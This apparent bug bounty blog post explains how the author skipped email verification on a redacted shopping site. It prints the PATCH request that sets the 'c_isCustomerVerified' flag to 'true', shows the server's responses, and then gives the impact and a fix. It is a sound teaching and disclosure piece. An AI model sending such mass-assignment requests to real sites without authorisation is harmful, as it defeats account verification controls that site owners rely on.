November 22, 2026
Changing “false” to “true”: How I Discovered an Email Verification Bypass Through Mass Assignment
When you sign up on most shopping websites, they ask you to click a link in your email before you can edit your profile or track orders…

By Anuj rawal
2 min read
When you sign up on most shopping websites, they ask you to click a link in your email before you can edit your profile or track orders. It's a basic security check to prove the email actually belongs to you.
Recently, while testing a bug bounty target (let's call it redacted.com), I found a simple Mass Assignment bug that let me skip this check completely — without ever opening my inbox.
Here is how I found it.
Step 1: Getting Stuck on the Verification Screen
I started by creating a brand-new account on
redacted.comusing a temporary email address.
As soon as I signed up, the site redirected me to an activation page saying:
"To access your account, please verify your email by clicking on the link sent to tes***@example.com."
At this point, my account was locked down. If I tried to change my name or check order history, the site blocked me until I clicked that email link.
Step 2: Checking the Traffic in Burp Suite
I had Burp Suite running in the background while clicking around the profile page. I looked through my HTTP history and spotted a GET request fetching my account details:
GET /mobify/proxy/api/customer/.../customers/{customerId}?siteId=redacted HTTP/1.1
Host: redacted.comGET /mobify/proxy/api/customer/.../customers/{customerId}?siteId=redacted HTTP/1.1
Host: redacted.comIn the JSON response, one line immediately stood out:
{
"customerId": "12345",
"email": "testuser@example.com",
"c_isCustomerVerified": "false"
}{
"customerId": "12345",
"email": "testuser@example.com",
"c_isCustomerVerified": "false"
}Step 3: Changing "false" to "true"
Whenever an API sends a status flag like isVerified or isAdmin back to the browser, I always like to test if the server lets me overwrite it.
I sent the request to Burp Repeater, changed the method from GET to PATCH, and sent this JSON body:
PATCH /mobify/proxy/api/customer/shopper-customers/v1/organizations/redacted_org/customers/{customerId}?siteId=redacted
Host: redacted.com
Content-Type: application/json
{
"c_isCustomerVerified": "true"
}PATCH /mobify/proxy/api/customer/shopper-customers/v1/organizations/redacted_org/customers/{customerId}?siteId=redacted
Host: redacted.com
Content-Type: application/json
{
"c_isCustomerVerified": "true"
}The server replied with 200 OK.
To confirm that the change was actually saved on the server, I sent another GET request to the customer profile endpoint.
The response now showed:
{
"c_isCustomerVerified": "true"
}{
"c_isCustomerVerified": "true"
}I went back to my browser and hit refresh. The "please verify your email" screen was gone. I could now edit my profile details and access order tracking — even though I never clicked the link in my email.
What Was the Actual Vulnerability?
This was a Mass Assignment vulnerability. The API allowed me to modify the c_isCustomerVerified field directly through a PATCH request. This field should only be controlled by the backend through the email verification process, not by the user.
Why Does This Matter?
Even though this bug doesn't leak other users' data, it breaks an important trust boundary:
- Email ownership verification can be bypassed.
- Verification-gated functionality becomes accessible.
- An attacker can modify their own account's verification status.
How to Fix It
The fix is straightforward: the backend should never trust the user to set their own verification status.
- Use an allowlist on the profile update endpoint so users can only update safe fields like their first and last name.
- Keep
c_isCustomerVerifiedlocked on the server side, and only flip it totruewhen the user clicks the actual verification link sent to their email.
Quick Tip
Always pay close attention to the JSON responses when loading your user profile. Developers often send internal flags to the frontend to decide what to show on the screen, and sometimes they forget to block users from sending those exact same flags back in a PATCH or PUT request.
Thanks for reading!